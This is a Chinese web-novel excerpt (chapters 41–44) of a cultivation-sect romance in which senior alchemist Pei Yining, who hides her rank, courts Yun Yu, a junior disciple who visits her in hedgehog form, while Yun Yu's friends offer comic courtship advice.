同样份量的药植,她们可能连一枚都炼制不出来,裴师姐却能炼制十枚。 空气中,药香填盈。 裴依宁灵力化作细长棍,在药盘中点了点:“看明白了吗?” “看明白了。” 裴依宁轻笑:“那便回去炼制,今日,我要看见成果。” 她手一挥,封住丹炉的灵力被收回,众弟子如鸟散般回到原位。 裴依宁起身。 原来坐在这个位置上的师妹战战兢兢地坐回去,一个劲地摆弄方盒内的灵植。 忙忙碌碌,就是不起丹炉。 裴依宁在她的后面:“纳兰师妹,她们学聚灵丹多久了?” 纳兰然道:“算上今日,是第三日了。” 聚灵丹是各个品阶丹药的分水岭,能炼制出一品聚灵丹,其余一品丹药都能极快上手。 裴依宁:“入宗四五个月,还没有人成为二品炼丹师。有些慢了。” 纳兰然垂目:“是。” 她当初也是用了三个月的时间,才成为二品炼丹师,在裴师姐眼中,恐怕也是天赋堪堪。 纳兰然汗颜。 身前的师妹还在摆弄方盒内的药植,纳兰然明白她是因为裴师姐在后面,压力过大,不敢动手,只能以此拖延时间。 总不能一直整理吧。 果不其然,裴依宁见她还没动:“药植不够吗?” 师妹明显抖了下:“够……够的,裴师姐。” 说完,她颤颤巍巍地捏起灵植。 “丹炉火未起。”裴依宁提醒。 那师妹如梦方醒,急忙在丹炉内注入灵力。 裴依宁终于挪动步伐,那师妹肉眼可见地松垮下来。 立于殿宇的门槛前,裴依宁单手负于身后,凝望外面种植的大片药株:“可有天赋出众的?” 纳兰然日日指导她们,自是比她了解。 随后纳兰然报了几个名字,道:“裴师姐,这是我和几位指导的同门的看法,她们几人在丹途的天赋稍高于其她人。” 裴依宁顺着纳兰然点过的几人看去,其中一人正是刚才被她占了位置示范,在她起身后又一直摆弄方盒内药植的人。 纳兰然注意到她的视线,笑着解释:“裴师姐,您对她们来说,是难以见到的存在。所以在您面前难免紧张。” “紧张?”裴依宁收回目光,往外走去,“我知道了。” 纳兰然以为她离开了,正欲转身回殿内,就听裴师姐突然出声:“纳兰师妹,我不通人情吗?” 纳兰然一时未能理解,两秒后,意识到裴依宁说的话,她怔然:“不……不通人情?” 她诧异:“裴师姐为何这么问?” 裴师姐平日甚少出现,每每有师妹请教,也会耐心回复,除却有时说话过于直白。 若是因此被说成不通人情,倒是可以理解。可裴师姐这般问,她自是不能那般回复,只说:“裴师姐向来严谨。” * 今日的修炼休息途中,云榆抹了把脸上的汗,找到应滟所在位置,几个大步走过去。 应滟还没结束,正在施展最后一套剑招,剑气四散,形成波浪向周围远去。 云榆和卞凝也不嫌脏,就地坐下。 “你如今可有突破的迹象?”卞凝问。 云榆灵海内注满了灵力,可还达不到突破至下一品阶,她摇摇头,估算:“约莫还需两三个月。” 说到这,她叹息,自觉修炼进度太慢,如此算来,想要突破到青灵,不知还要耗费多长时间。 卞凝感知体内灵海,半晌后道:“我也是,你目前修为比我高一些,我许是要半年才能突破至黄灵。” 说话间,应滟最后一式结束,剑归于剑鞘。 她毫无形象地跨到两人面前,身体一矮,坐下了两人对面,端起一侧的水壶,问了声:“这是我的吗?” 云榆看了眼:“嗯。” 应滟大口喝了几口,额头垂下,满头大汗,眼睛却是亮晶晶的:“好累,但好充实。” 云榆和卞凝对视一眼,皆是从对方眼中看见难言的无奈和笑意。 云榆递了条手帕过去:“擦擦汗。” 应滟道了声谢,边擦边问:“你们今日修炼的是什么?我只顾着练剑,没太看你们那边。” 卞凝:“练气力。” 云榆:“在修习一门身法。” 她从宁依那回来后,顺路去了趟藏书阁,挑了门适合她的身法古籍,到时与剑法结合,说不定能产生意想不到的效果。 就算它日与人交手,打不过,也能凭借身法保命。 除非对方修为比她高许多。 她不藏私地将身法古籍拿出,传给两人看了圈:“你们若是需要,可以拿去,我再去拓印一本。” 卞凝摇摇头:“我暂时没有修习身法的打算。” 应滟也是摇头:“这身法太轻,不适合我,我喜欢那种与人硬碰硬的。” 云榆无所谓地笑笑:“这倒是,我只想保命就好。” 几人说说笑笑,时间过得也快。 没忘记正事,小跟班昨晚说的事还没结束,她请教应滟:“应滟,我能问你一个问题吗?” 应滟抬眼:“什么?” “就是……”云榆组织语言,“如果日日想见一人,是不是说明喜欢她,那该如何拉近与那人的距离?” 两道视线齐刷刷地投射过来,应滟更是没控制住力度:“你有喜欢的人了?” 声音过大,数道视线移动过来。云榆脸上漫上红润,脸颊发烫:“不是我,是我一个朋友。” 作者有话说: 震惊,小刺猬在线请教 今天是准时的小木。【你现在阅读的是 】 40-50 第41章 第四十一章[VIP] 我有一个朋友。 卞凝以拳捂唇轻咳两声。 这几个字毫无说服力。翻遍全宗, 能被云榆称得上朋友的寥寥无几,她和应滟算是其中之二。 再扩大点,也就那几位师姐。 可师姐们除了指导她们修习外,甚少谈及自身, 更少有可能和刚入宗数月的师妹聊及感情问题。 以至于云榆说出这话时, 应滟第一反应是不可置信,第二反应是了然。 这“朋友”恐怕指的是云榆自己。 她悄悄看向卞凝, 卞凝也向她投来目光, 两人交换过眼神,心照不宣地为云榆出谋划策。 卞凝抱着双膝, 试探地问:“这种情况出现多久了?” 修习期间,她几乎和云榆形影不离, 就没见过云榆和谁亲密过。 不对,云榆这段时间时常有各种理由不在,莫不是这段期间有了奇遇。 但云榆每次回来,不像是有情感变化的样子。 云榆苦恼地抓了下头:“这个我不知道,我没问这么详细。” 应滟灌了两口水, 强硬地将玩笑话咽下。 云榆未免演得太像了, 还没问那么详细, 多半是自己都不知道是什么时候动心的。 她押了口水, 故作老练地摇动水壶, 竖起两根手指, 声线拉得极长极低:“我这边有两种方法。” 云榆期待地等着。 应滟脊背弯曲,手肘支撑膝盖, 握着水壶, 手臂伸直:“一,直接上, 跟那人说喜欢她。” 云榆目瞪口呆:“会不会太直白了,万一被拒绝……第二种方法呢?” 应滟伸出一根手指,摇了摇:“第二种方法要委婉很多,让你那所谓的朋友,”说到这,应滟有意无意地扫过云榆,“每日去喜欢的那人面前晃悠。” 她无理无据:“俗话说得好,脸皮厚,方能成事。” 云榆:“……” 她真是白期待了。 这时,一道笑声传来。卞凝推了推应滟,素来言笑不多的脸上溢满了愉悦:“你在说什么,没听见云榆前面的问题吗?她也不确定是不是喜欢那人。”县朱赋 应滟反驳:“云榆不是说了,日日想见,都日日想见了,不是喜欢,难道还因为对方长得好看,脸能当饭吃啊?” 卞凝:“这倒也是……” “好像的确能当饭吃……”一道弱弱的声音插入进来。 每每见到宁依时,她的胃口都好上许多。 应滟,卞凝:“……” 现在她们确定无疑,云榆有了喜欢的人,看样子,陷入的还很深。 既然这样,她们作为云榆的好友,自是要为她的终身大事出谋划策。 那两条不怎么正经的方案被废除,应滟从空间储物中取出纸笔分别分给两人。 她郑重地在最上方写下“云榆朋友寻求道侣计划”。 朋友二字是为了照顾云榆的羞耻心而加的。 看着分到手中的纸笔,云榆无辜地抬起头。 紧接着,应滟提笔在纸上勾勾画画,不多时,她将纸张翻开。 一幅惨不忍睹的画面出现在眼前。 墨水黏在一起,黑成一团,隐约可以分辨出是画了两个人。 卞凝凑近观赏了许久,吐出“能看”二字。 应滟兴奋道:“写字太麻烦,我直接画了出来。” 她就着纸张上的两人分析:“你喜欢……咳,你朋友喜欢上了一人,但在不知道对方是否有意的情况下,不敢冒然行动。这时,我们就要思考那人的心理想法。” 应滟兴致越说越高,手舞足蹈地大手一挥,在纸张上涂涂画画:“假设那人喜欢你……朋友,那就简单了,多注意注意那人的眼神,多制造点肢体接触,看看她的反应。” 她继续勾画:“要是不喜欢,”她扔下笔,手一嘶,纸张“哗啦”成两半,“你手法翻出花也没用。” 她分析完毕,求夸奖地问:“怎么样,我说的是不是很对。” 卞凝无情泼她冷水,指着纸张黑团团的:“不如不画。” 应滟:“啊……卞凝,你说我画画难看。” 云榆则是思考应滟话中的可行性。 不全是废话,至少前面一点倒是可以试试。 卞凝言简意赅:“凡事出击才有希望。你……你朋友想像原师姐一样吗?” 也不知道谁第一个传的,说是原师姐喜欢风师姐已久,只是一直未曾表露心迹,以至于到现在两人尚未在一起。 当然,她们也是偶然听说此事。 原师姐性子素来淡漠,宗门人多是惧于原师姐,无人敢光明正大的提及此事,反倒是风师姐温柔如水,向来好说话。 有八卦者问及,她四两拨千斤地绕一圈,也没说个理所然。 云榆习惯性地摸摸下巴:“是这个理。” 于是乎,当日修炼结束后不久,灵丹堂的某处传来女人似笑非笑的声音:“星星是说,让我主动出击吗?” 裴依宁提着浇水壶,漫不经心地灌溉药田中的稀有灵植。 身旁是小刺猬亦步亦趋地跟随她。 闻声,小刺猬煞有其事地点点头:“没错,就是这样。” 浇水壶中的水取自那条溪流,河道围着一方药田,利于随时灌溉。 裴依宁侧身从开辟出的河道中捧出一捧水,寂静无声地看着水流从指缝中溜走,残余的一点挤在指缝中。 小刺猬不知她在做何,只当是灌溉灵植的步骤,小爪子攥住裴依宁的衣摆:“宁依觉得怎么样?” 裴依宁掀起眼皮,垂臂,残余的水流顺着指尖滴滴坠落,她笑意不达眼底:“不怎么样。” 她居高临下地望着扒在她衣摆上的小刺猬。 只是一团刺球。 数秒后,她蹲下身,点着小刺猬的头顶,指腹带力:“星星不用为我操心这个。” 小刺猬挣扎几下,不愿让刺扎到宁依,她只用了些许力,见实在挣扎不掉,她索性保持原有的姿势,抓紧爪心的布料:“你是我的小跟班,于情于理,我都要为你操心。” 裴依宁语气冷了几分:“不需要。” 小刺猬听出她语气中的冷淡,不自觉地放松爪心,小心翼翼地挪动下肢,往裴依宁鞋边靠去,双爪抱住鞋面。 宁依这是怪她擅作主张,还是因为脸皮薄,被她提及此事不好意思。 昨晚宁依谈及时,也是时藏时隐的。 察觉到小刺猬的不安,裴依宁在心底轻叹,掌心自下而上地捧起小刺猬。 居于掌心中的小刺猬垂头丧气地不肯抬起头:“宁依,对不起。” 小刺猬道歉速度很快。 裴依宁不喜欢小刺猬和她道歉,总让人有种生疏到不行的感觉。 她和小刺猬明明已经很熟悉了。 裴依宁自认为如此。 “为什么道歉?”裴依宁将浇水壶归位,揣着小刺猬往灵丹堂峰阁的边缘而去。 直视前方时,裴依宁忽而发现又到了傍晚时分,她和小刺猬相见,多是在傍晚和夜色昏沉时。 白日极少有碰面的机会。 灵丹堂峰阁地势不像剑法阁那般险峻,山地盘旋错落着青色石板,数百级台阶蜿蜒而下。 宗门内都是修行之人,台阶的多少,峰阁的险峻于她们而言,灵力一动,不过是直上直下摆了。 可偏偏,裴依宁今日踩着石板,一级级地往下走。 小刺猬四肢收在小肚子上,趴在裴依宁半抬起的掌心,鼻尖不经意触碰到女人柔软的指腹:“我好像让宁依不开心了。” 小刺猬没什么心眼,问什么答什么,乖巧得很。 裴依宁想“嗯”了声,还想回一句“的确是不开心了”。 可那样,小刺猬会多想很久。 裴依宁舍不得。 她口是心非:“没有不开心。” 小刺猬短短的尾巴抵在女人的手腕处,观察女人的脸色,没能从中找出多余的情绪。 她糯糯地“哦”了声。 不知不觉,裴依宁带着她走到了半山腰。 石阶日日有同门清理,少有人规矩的走台阶,是以这里干净异常,偶得风吹而来,带过几片草叶。 裴依宁坐在一级台阶上,长腿伸到下一级台阶。小刺猬被她双手捧着,托举到面前。 “星星说,要多增加肢体接触,是吗?”裴依宁问。 近距离的面对面之下,小刺猬支支吾吾:“嗯……对。” 应滟就是这么说的,小刺猬回忆。 她应该没有泄露的地方。 裴依宁止不住弯唇,拇指挑起,顺着小刺猬的脸颊捏揉:“星星反感我这么对你吗?” 小刺猬摇头。 她怎么会反感,宁依之前就捏过她。她自认为在这方面还是很惯着小跟班的。 裴依宁唇边弧度扩大,手臂上抬,在小刺猬迷茫中,将额头抵上去,轻轻碰了碰小刺猬的额头,她浅声说:“这样呢?星星反感吗?” 额头被很快地碰过,小刺猬还没回味过来,面前的女人已经退去:“不反感。” 裴依宁:“那星星喜欢吗?” 小刺猬犹豫,给不出答案。 裴依宁换了个问法:“如果有其她人这样对你,星星会喜欢吗?” 其她人这样对她…… 小刺猬在脑中幻想那种情景,被其她人捏脸颊,被其她人用额头相抵,被其她人捧在掌心…… 小刺猬忍不住打了个寒颤,脑袋摇得和拨浪鼓似的。 她断然不可能让其她人与自己这般近距离接触。 她干脆利落地:“不喜欢,我不会让其她人这么对我。” 这个回答裴依宁很满意:“所以,我在星星这里,是特殊的存在吗?” 小刺猬点头:“是的。” 裴依宁引导小刺猬:“那星星喜欢我吗?” 小刺猬毫不迟疑:“喜欢宁依。” 裴依宁眉宇间暖意融融。 小刺猬故意补充一句:“也喜欢宁依的手艺。” 某只小刺猬偷笑:“但最喜欢宁依。” 作者有话说: 某只小刺猬好像开窍了,又好像没有 今天也是准时的一天 第42章 第四十二章[VIP] 夕阳悬挂于地平线, 裴依宁望着掌心鲜活无比的小刺猬,终是弯下唇角。 没关系,时日还长,不急于一时。 攀比之心却没有随之降下去, 裴依宁灵力化成柔软的线, 将小刺猬的两只爪子绕在一起,随后绕上自己的手腕。 小刺猬不得不两爪并拢, 茫然无措地试探灵线的松紧程度。 裴依宁问:“最喜欢我吗?” 天真的小刺猬点点头。 裴依宁莞尔:“那与星星的那些朋友相比, 也是最喜欢我吗?” 她记得,小刺猬在剑法阁, 有两位好朋友,一位是入宗便在一起的, 另一位则是前不久手受伤,被星星和卞凝一起送到灵丹堂治疗的那位。 若是没记错,那人名唤应滟。 自己与她们二人相比,孰轻孰重。 小刺猬眉心拧成一个结。裴依宁扯了扯连接两人的灵线:“嗯?” 小刺猬犹豫不决,看看面前的女人, 又看看绑在一起的灵线, 最后感知了下环绕在周围, 越来越低的气压, 很有眼力见地……沉默了。 灵线再次被扯动。 裴依宁温声:“嗯?” 小刺猬咽下口水, 向来不知道如何端平一碗水, 她沉默良久,举起被束缚在一起的爪子:“你们都是我的朋友, 怎么能对比取舍。宁依, 你太为难我了。” 太为难小刺猬了。 算了,裴依宁放弃和某个不开窍的小刺猬继续这个话题, 她暗示了这么多,小刺猬仿若未觉。 她原以为小刺猬今日过来为她出谋划策,是有了点开窍的痕迹,这般看来,是她多想了。 小刺猬今日所言并非全无用处,多增加肢体接触,这点下次她与小刺猬的人形相见时或许可以用上一二。 可依照小刺猬的思维,能猜出她所为是何吗? 裴依宁颇为苦恼地按住太阳穴。 炼制九品丹药都没这么让她费力。 小刺猬就着灵线,将下肢缠绕。爪子和下肢都被缠绕,一时间,小刺猬只能躺在裴依宁的掌心,小半个身体露在外面。 她眼睛一闭,像是放弃了抵抗:“宁依,这个问题太难回答了,不如你把本星星扔下台阶吧。” 说完,她确定灵线另一头绑紧宁依的手腕,随即身子一滚,从裴依宁掌心滚下去。 一时间,天地晃动,头晕眼花,高空下坠感袭来,小刺猬听得耳边阵阵风声,脸颊两侧的毛发被风吹起,刮得她脸疼。 这条灵线怎么这么长。 偏偏她手脚都被捆绑,根本控制不了更多,自由落体下降。 正当小刺猬以为要和大地来个脸对脸亲密接触时,她停在了距离地面十公分的位置。 小刺猬颤颤巍巍地睁开眼睛,眼前一株长势极好的草叶戳上她的脸颊。 不等小刺猬有多余的动作,灵线传来牵扯力。 她“嗖”地一下回到了裴依宁掌心。 经历了那么一回,小刺猬被风刮得凉飕飕的。 小刺猬:“……” 裴依宁挑开她额上的草屑:“你做什么?” 小刺猬刚想质问那根灵线的长度,可对上裴依宁茫然疑惑的目光,生生将那句话咽回喉咙,含糊不清地:“我给你表演一个高空翻滚。” 裴依宁:“……” 她双手合拢,灵力涌动,温热的气流覆盖住小刺猬:“星星会的好多,但以后这种事还是少做一点,”她顿了顿,认真道,“你心跳得好快。” 小刺猬:“……哦。” 可恶,丹修的耳朵这么好吗? 揣着小刺猬宛如散步般,走下台阶时,悬于地平线的夕阳只剩下边缘的橙黄。 裴依宁今晚有事,无法留小刺猬去她那,但多与小刺猬待一会也是好的。 她想见小刺猬的人形了。 明日寻个由头去剑法阁一趟吧。 裴依宁盘算着理由,曾几何时,她去别的峰阁还需这般费劲。 小刺猬懒洋洋地趴着,心有余悸于刚才的自由落体运动,连动都懒得动一下。 “星星,”裴依宁戳戳小刺猬脊背上的刺,提议,“我送你回去?” 小刺猬懒懒开口:“好……” 不行,如果宁依送她回去,岂不是知道了她的洞府。再一推,就知道了她的人形。 小刺猬慌忙改口:“不,不用了,我想起来还有点事,你把我送上剑法阁就可以回去了。” 裴依宁知她顾虑,有意问她:“星星好神秘啊。”她长睫颤动,带动眼睑下方浅薄的阴影随之闪动,“星星还没邀请我去你那里做客过。” 小刺猬心中呐喊,这是神秘不神秘的问题吗? 她也想邀请宁依去她洞府做客,前提是装成师姐的宁依不曾去过她的洞府。 如今邀请,直接暴露身份。 现在的她,当真是心有余而力不足。 小刺猬憋红了脸,说不出一句话。 裴依宁又笑:“星星其她的朋友去过星星的洞府吗?” 小刺猬:“……去过。” 小刺猬太过实诚了,连简单的说谎都不会,明明整日在她面前装得老练,怎么这个时候都不知道说谎骗骗她。 兜兜转转,回到了最开始的问题:“所以,她们比我重要,是吗?” 宁依怎么对这个这么执着,她反问:“你的朋友去过你的洞府吗?” 裴依宁干脆利落:“去过。” 双爪从灵线中挣脱出的小刺猬轻轻打了自己一巴掌,她问的是什么问题。 她也去过宁依的洞府啊,还在宁依的洞府中睡过几次。 似是看出她的想法,裴依宁默默补充:“但只有你留宿过。” 这么看,在宁依眼中,她比其她朋友重要很多。 小刺猬心软软的,满是愧疚,她踮起下肢,裴依宁适时地垂下头,贴近星星。 爪子抚上她的脖颈,小刺猬低低道:“宁依,你是我唯一的小跟班。你对我很重要。”她想了想,“和其她朋友不一样的重要。” 怎么不算是特殊呢?裴依宁很好哄地接受了小刺猬画的小饼。 将小刺猬送到剑法阁峰阁的边缘,裴依宁俯身将小刺猬放回到地上,那根灵线绕在小刺猬的周身,随着她一点,灵线断裂成点点星光,没入小刺猬的身体中,围着灵海转动一圈,融为一体。 小刺猬跌跌撞撞地往前跑了几步,踢了脚爪子下的碎石,眼尖地瞥见远处有人朝这里走来,来不及和裴依宁多做告别,她挥挥爪子:“宁依,我先走了,下次见。” 裴依宁:“下次见,星星。” 目送缩成一团的小刺猬滚远,裴依宁面上的笑意收敛几分,她负手而立,迎上走近的人:“杜师妹。” 杜寻雁远远就看见裴依宁在此,心生好奇,走近,感知到某只妖族人的气息,瞬间了然。 裴师姐这是送云榆回来了。 正主就在眼前,按捺不住地心痒痒,想问问裴师姐和云榆的关系,可她与裴师姐算不上相熟,上次还借着云榆在的名义,让裴师姐唤了她一声师姐。 两人独处时,她还有些尴尬。 但见裴师姐不曾提及上次喊师姐之事,她放下心:“裴师姐,您来这是……” 裴依宁淡淡道:“送妖。” “啊……哦哦。”杜寻雁只听过送人,送妖这个词第一次听,略有生疏。 裴依宁没在此久留,走了几步,想到什么事,她扭头:“杜师妹,有关我的身份,还请暂时不要同云师妹多言。” 从剑法阁回来,裴依宁折去灵丹堂,风浅念与原以诗让她炼制的丹药已然炼制完毕。 她前往器物堂时,风浅念与原以诗两人正在炼器室修复一样灵物。 裴依宁在殿内多等了会。 有弟子端了杯茶水过来:“裴师姐,刚刚已经有人去告知风师姐您的到来,还请稍等片刻。” 裴依宁微微颔首:“辛苦了。” 原师姐向来喜好饮茶,器物堂的茶叶亦是一等一的好。 据说原师姐出关后,第一件事就是去茶宗一趟。 对于这件事,裴依宁听说后只一笑了之。 原师姐出关的第一件事,怎么可能是去茶宗。 裴依宁品着茶水,凭空取出一只白净的瓷瓶,握着盘玩。 不多时,她感知到两道气息,眼皮一掀。 殿门口两道颀长的身影并肩而来。 风浅念噙着笑意,率先入了殿门:“有事来晚了,”瞧见裴依宁身侧桌面上的那杯茶水,打趣道,“依宁,这茶水如何,可还入的了你口?” 裴依宁也好茶,说起来,她们几人中,好像只有她,对此物没那么上心。 “甚至,”裴依宁起身,笑了笑,将瓷瓶往前一伸,“这是你们上次所要丹药,这两日有事,耽误了。” 话虽这么说,但裴依宁给出丹药的速度还是远超风浅念的预计。 风浅念接过,顺手递给身后的原以诗:“没有,已经很快了。” 裴依宁不置可否,瞥见风浅念后方的原以诗,她眼神动了动:“上次为云师妹铸造灵剑一事,我还没来得及感谢。这瓶丹药聊表心意。” 那把灵剑无论是从工艺还是内里所含的灵石器物,都是上等。 风浅念好笑地抿住唇,她调皮地眨了下眼:“聊表心意,好生疏的话啊,我们之间还要这般客气吗。” 不过她还是好奇裴依宁和那位云师妹的关系,杜寻雁不方便问,不代表她不方便。自幼的交情让她无需顾虑太多。 她挥动衣袖,殿门自动闭合,灵力墙降下,阻隔内外声音:“依宁,你和那位云师妹私交很好?” 那日她和原师姐去找对方时,那位云师妹就以原形躲在裴依宁后面。 现在只有她们三人,不需要遮遮掩掩,裴依宁蹙眉,找不好合适的词形容那种情感。 她想到小刺猬为她出谋划时的话:“我好像……喜欢上她了。” 作者有话说: 裴师姐:我喜欢她(这应该能说吧) 来晚了(倒地)本章掉落66个小红包 第43章 第四十三章[VIP] 许是早就料到会有这个可能, 风浅念神色并无多大变化,但对于裴依宁的直白,还是表现出几分惊讶。 原以诗坐到裴依宁身侧,隔着一张椅子的距离, 她显然不打算多问这位裴师妹的情感生活。 白得不正常的指捻起早已倒好的茶水, 入口温凉,遗失了些许茶的清香。 风浅念坐上了两人中间隔着的那把椅子, 身姿板正, 银白色长发被一根同色的发簪簪住,披散下的自然搭在椅背:“什么样的喜欢?” 裴依宁迟疑地盯着脚下的地面:“想在一起的喜欢。” 原以诗偏头看了她一眼, 依旧未说话。 “原来是这种喜欢,”风浅念似是很轻地笑了声, 温润的声音缓缓流出,“你喜欢的人,自不会有问题。但依宁,你与她见过几面,与她相处过多久, 了解她吗?” 入宗数月的弟子, 就算每日相见, 又能有多长时间。 她询问好友心意:“莫不是闭关太久, 少于人交流, 将新奇当成了喜欢?若是这种喜欢, 无论是对你,还是对她, 都不公平。” 她看着好友, 将天秤放平:“但更多的,是对她的不公平。” 裴依宁在宗门内的影响力和资历, 都比云榆高上许多,一旦未来,裴依宁发现自己的喜欢只是一时兴起,而非长久下去的喜欢。 她抽身脱离,不会有人敢议论,那云师妹呢。 小刺猬向来敏感,上次听原师姐提及过几句关于小刺猬的事,她不得不上心。 裴依宁默然,她自知风浅念所说的意思,无人的日夜,她无数次思考过这个问题,可答案都与现在的差不多。 她就是喜欢云榆啊。 是想长久下去,执手此生的喜欢。 裴依宁对上风浅念的眼睛:“浅念,我明白你的意思,”她一字一顿,“我对她不是新奇感的喜欢。” 话既然说得这么明了,风浅念不再多言,她歪头和原以诗对了个眼神。 原以诗微不可见地耸肩,默不吭声地捏着一方手帕擦拭本就干净的手。 风浅念头侧回到另一边,略一思索:“云师妹不知道你的身份吗?” 裴依宁“嗯”了声,“她以为我和她一样,是入宗不久的新人。” 风浅念失语,温柔地笑了声,她没想到裴依宁和云师妹中间还穿插着这种情况。 她对云榆了解不多,偶从杜寻雁口中得知一二,只知是个勤奋上进,心思细腻的。 裴依宁的身份不可能一直瞒着,日后云师妹知道了,又会作何感想。 “你没想过与她坦白吗?” * 这几日的修炼累的云榆喘不上气,师姐们给她安排的工作量并不大,多是她给自己安排的。 灵力灌注体内,她脸色红润一片,气喘吁吁地捂住喉咙,干渴到几乎冒烟,她压着舌根,拎起自己的水壶,灌了几口,那股干涩感堪堪退去。 云榆单手提剑,视线下移,一滴汗水顺着剑身直往下落,紧接着被太阳炙烤烘干。 她吐出一口浊气,体内灵气充盈,但就是找不到突破的点。 往剑中灌入灵力,云榆提着往练剑之所而去,这几日,她日日在此练剑,时常手软到没力气,连剑气都挥不出才止住。 卞凝和应滟对她的修炼方式不理解,按部就班,在达到黄灵修为之前,循着师姐安排的进度就好,何须这般逼迫自己。 她们几次想询问,都被云榆三言两句带过。 次数多了,她们便不再多问,只在每次云榆软软地瘫靠地坐在墙角时,端着水和食物坐到她身边。 云榆对着两人笑了笑:“又麻烦你们了。” 应滟不在意地捏起一块糕点塞入口中,结果塞急了,堵在了喉咙处,她一手捂住脖颈,另一只奋力挥动,吱吱哇哇地叫着。 卞凝习惯了她的大大咧咧,往她后背就是一拳。 应滟脖子一哽,咽了下去:“你也太狠了吧,能不能向云榆学学。” 卞凝翻了个白眼:“别不识好歹,云榆累成这样,哪还有力气给你捶。” 她剥了个橘子递给调养生息的云榆:“等会回去还是继续在这?” 这时,一道清亮的声音横插过来。 “云榆。” 云榆三人抬眸看去。 一位长相清丽的女人走了过来,瞧见云榆润红的脸色,小声惊呼了下:“你还好吗?” 来的这位云榆认识,邹云,与她们一起入宗的,也是时常被杜师姐夸赞的一位。 云榆与她交情不深,点头之交而已:“邹云。”顿了顿,她问,“有事吗?” 瞧她这般脸色,邹云迟疑着点了下头,道:“前几日师姐教的那套剑法,我刚才又练了遍,发现其中有两招一直不能连贯。” 这个时辰,师姐们多是回去,摸不着影了。 但云榆的状态,她属实提不出请教的话了:“我这有颗补气血的丹药。” 说着她就要拿,被云榆制止:“不用,我休息会就好了。” 云榆扶着墙壁起身,卞凝虚虚抬臂扶着她。 她撑着墙面,舌尖在牙尖上压住,挑出笑意,幻化出灵剑:“哪两招,说不定我知道,可以为你解答。” 应滟和卞凝这几日不曾练那套剑招,只记得其中几招。 邹云犹豫了会,说了下那两招。 云榆在脑中快速过了遍,提剑直接进行那两招。 因气力不足,向来凌厉的剑招偏软,但不妨碍邹云看清。 她收剑:“看明白了吗?没看明白我可以再来一遍。” 邹云急忙说:“我试试。” 事实证明,邹云没能看明白:“要不你手把手教我一次,可以吗?” 眼睛会了与自身会了是两回事,云榆深知这个道理。她收回灵剑,从兵器架上抽出一把铁剑递给邹云,随后移到邹云身后。 她掏出一条手帕搭在邹云手背,随后握了上去,屏息静气地将手把手带着邹云来了次:“这里手腕转动时,要注意不要转动过多,不然连接下一招时会损伤手腕……” 她对待同门向来耐心至极,在同门中,人缘极好。 被带着,邹云终于弄明白了,她感激地对云榆道了声“谢”,那枚气血丹被她强硬地塞到云榆手中,充当感谢。 云榆好笑地捏着那枚丹药坐回墙角,将那枚丹药收入空间储物中,在放置时,灵识触及到另一瓶未开的丹药。 是宁依为她炼制的。 她眼底暖意浮现。 见她收起,应滟不解:“你消耗了那么多体力,怎么还去教人啊,那枚气血丹可以很好补充你消耗的体力,吃了会舒服很多。” 云榆扬头靠在墙壁上,捻起卞凝为她剥的橘子,一瓣瓣填入口中:“都是同门,左右正好会她说的那两招,就教了。” “至于那枚气血丹,留着吧。我没那么金贵,忍忍就过去了。” 卞凝无可奈何:“你真是不把身体当回事。哎,那边是不是有人?” 她眼尖地瞅到远处有个人正往这边看,但那人身上蒙着层白雾,她看得不真切。 云榆一眼看过去。 那人的面容她再熟悉不过。 好几日未见宁依了。 “我也看不清,”应滟眯起眼睛,看见的同卞凝一般,“算了,反正也不认识。” 宁依是来找自己的吗?不对,应该是来找刺猬形的自己。 云榆不好让两位好友知晓自己和对方的关系,重新扶着墙壁起身,歉意地对两位好友道:“我突然想起还有事,就不跟你们一起回去了。” 云榆这段时间神出鬼没,两人也没怀疑,她们本就不累,坐在这只是陪云榆。听云榆这般说,两人也不扭捏,和云榆说了几声注意安全就走了。 云榆朝着与她们相反的地方而去,找个无人烟的位置,化成小刺猬去和宁依相见。 可不曾想,还没走多远,身后脚步声逼近,裴依宁叫住了她:“云师妹。” 云榆只得停下步子,皮笑肉不笑地转身,含着咬牙切齿的意味:“师姐好啊。” 师姐二字咬音极重。 裴依宁不动声色地看向云榆垂在身侧的右手。刚才云榆就是用这只手握着那女人的手,几乎贴在一起的舞剑。 杜寻雁教导云榆那次她可以理解,但这次,裴依宁属实不明白云榆为何要那般近距离和一位相识不深的人接触。 “师妹刚修炼结束吗?”裴依宁明知故问,无意中将不知从哪来的一杯水浇到了云榆的右手。 至于云榆,在看见裴依宁时,没注意到对方还端着一杯水。 下一秒,裴依宁捞起云榆右手手腕,攥着一方手帕,仔仔细细地将水渍擦干,连指缝都没有放过。 星星不是说了吗?对喜欢的人,要主动点,要多增加肢体接触。 既然她已经确定了心意,如今的做法,不过是小跟班听从了建议。 裴依宁面不改色:“不好意思,云师妹,手没端稳。” 云榆:“……没关系。” 她瞧了眼被攥住的手腕,偷偷动动,试图从女人的禁锢中挣脱出来:“那个……师姐,我手……” 可以松开了吧。 裴依宁似才发现,脸色歉意更甚,拇指按在云榆腕骨上,一抹灵力注入云榆体内,悄无声息地抚平倦怠的身体:“不好意思。” 气色渐渐恢复的云榆大度地不跟笨手笨脚的小跟班计较这些:“没事,师姐是无心之失。” “对了,师姐这次来是?”云榆只觉得体力恢复许多,若是小跟班还想看剑招,她可以用人形为小跟班演示。 刺猬形束手束脚,小跟班看得当是不尽兴。 谁知,某师姐道:“师妹可否手把手带着我使一套剑招。亲眼看,终究比不上亲自动手的乐趣。” 作者有话说: 裴师姐:要星星亲手带 小刺猬:??? 快夸我,今天超级准时 第44章 第四十四章[VIP] 没料到小跟班会提这个要求, 云榆慢半拍地重复了遍:“手把手?” 这三个字总觉得不久前听过,云榆脑子一绕。 邹云请教她时说过。 不是什么大事,云榆答应地飞快:“可以啊,师姐。” 四下无人, 云榆催动灵海内藏着的一柄剑, 长剑刚在掌心幻化成实体。 下一刻,实体汇聚成虚影重归云榆体内。 差点忘了, 她的佩剑先前在宁依面前出现过。 可不能暴露了。 悄咪咪瞄了眼身前的女人, 见她面色无异,云榆抬一指, 点过不远处的武器架,灵力卷起一柄铁剑入了她的手。 她调转剑体, 以剑尖对自己,剑柄对裴依宁,将铁剑递了过去:“师姐,我等会带着你使的那套剑招,用这种剑效果比较好。” 裴依宁不置可否, 握住微凉的剑柄, 纤长的手指根根落下:“云师妹决定就好。” 她本来的目的就不在此, 用什么剑对她来说, 区别不大。 云榆转到裴依宁身侧, 掌心按在裴依宁的手背, 骨节分明的指包裹住女人的手。腰身微微贴上女人的后腰,另一只手牵住女人左手手腕, 调整手部动作。 清润的药香将她包裹, 待到鼻息中满是这种气息时,云榆惊觉两人靠得太近, 她不自然地往后移了些。 